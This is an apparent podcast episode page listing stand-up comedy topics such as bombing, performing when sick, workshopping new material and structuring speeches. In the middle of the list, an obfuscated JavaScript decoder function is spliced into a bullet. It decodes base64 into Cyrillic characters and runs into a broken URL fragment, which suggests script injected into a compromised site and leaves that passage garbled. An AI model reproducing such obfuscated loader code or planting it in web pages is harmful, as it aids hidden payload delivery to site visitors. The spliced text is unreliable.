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Today I am joined by several recent writing students to answer their comedy questions. Specifically, we talk about:

  • What is a good way to know that you should continue pursuing stand-up comedy?
  • How many shows is a good barometer for getting your feet wet?
  • When should you quit!
  • The value in bombing (and recording it)
  • Is it okay to try different characters when you first start?
  • A bunch of things that can go wrong during your show
  • How to perform when you just don't feel funny
  • Performing when you are sick
  • Having a back-up comedian friend ready for some gigs
  • The value of listening to comedy when you are down
  • What Minnie Pearl said about audiences
  • When you are there for the audience (and when they are there for you)
  • The adrenaline surge you get when performing
  • The connections between comedy and speaking
  • How to function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4-up-comedy-into-a-speech-podcast/">structure a speech based on your comedy
  • Finding your HOOK for your message
  • When should you transition into movies from stand-up?
  • The benefits of character work in your comedy
  • Tips on incorporating voices and characters into stand-up
  • Should you try a bunch of characters when you first start at open mic?
  • The benefits of no one knowing who you are
  • What Garth Brooks did that you shouldn't do
  • Jim Gaffigan workshopping new material
  • How to workshop new material and where is best to try
  • Songwriter open mics versus comedy open mics
  • Following a great (or horrible) act on stage

and a whole lot more!

Do you have comedy questions? Send them in and I'll address them on the show.


Rik Roberts

Club 52

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